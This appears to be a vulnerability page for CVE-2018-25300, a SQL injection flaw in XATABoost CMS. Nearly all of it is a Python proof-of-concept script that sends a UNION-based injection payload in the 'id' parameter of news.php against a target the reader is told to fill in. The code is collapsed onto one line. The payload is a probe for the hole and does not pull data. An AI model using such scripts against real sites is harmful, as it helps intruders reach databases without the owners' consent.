CVE-2018-25300: XATABoost CMS SQL注入漏洞

#!/usr/bin/env python3 import requests def verify_sqli(target_url): """ PoC for CVE-2018-25300 Checks for SQL Injection in XATABoost CMS news.php """ # Payload tries to cause a time delay or specific output to confirm injection # Using a simple UNION based payload for detection payload = "1 UNION SELECT NULL, NULL, NULL-- -" params = { "id": payload } try: response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: print(f"[+] Request sent to {target_url}") print(f"[+] Payload: {payload}") print("[+] Check response manually for database errors or data leakage") return True except requests.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": target = "http://example.com/news.php" # Replace with actual target verify_sqli(target)